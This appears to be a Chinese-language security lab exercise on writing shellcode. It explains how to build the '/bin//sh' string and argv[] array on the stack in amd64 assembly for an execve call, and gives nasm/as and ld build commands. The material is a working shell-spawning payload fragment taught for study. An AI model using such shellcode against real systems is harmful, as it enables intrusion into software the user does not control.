任务 3:编写 Shellcode(方法二)
Section outline
-
另一种获取 shell 字符串和 argv[] 数组的方法是动态地在栈上构造它们,然后使用栈指针寄存器获取它们的地址。以下是使用这种方法的一个 amd64 示例。amd64 和 arm64 的代码都可以从 Labsetup 文件夹中找到,代码中的注释给出了简要的解释。
section .text global _start _start: xor rdx, rdx ; rdx = 0 push rdx ; 将 0 压入栈中(用于字符串终止) mov rax,'/bin//sh' push rax ; 将字符串压入栈中 mov rdi, rsp ; rdi = 命令字符串的地址 push rdx ; 将 argv[1]=0 压入栈中 push rdi ; 将 argv[0] 压入栈中 mov rsi, rsp ; rsi = argv[] 数组的地址 xor rax, rax mov al, 59 ; execve() syscall
我们可以使用以下命令将汇编代码编译成 64 位二进制代码:// 对于 amd64 $ nasm -f elf64 mysh_64.s -o mysh_64.o $ ld mysh_64.o -o mysh_64 // 对于 arm64 $ as mysh_64.s -o mysh_64.o $ ld mysh_64.o -o mysh_64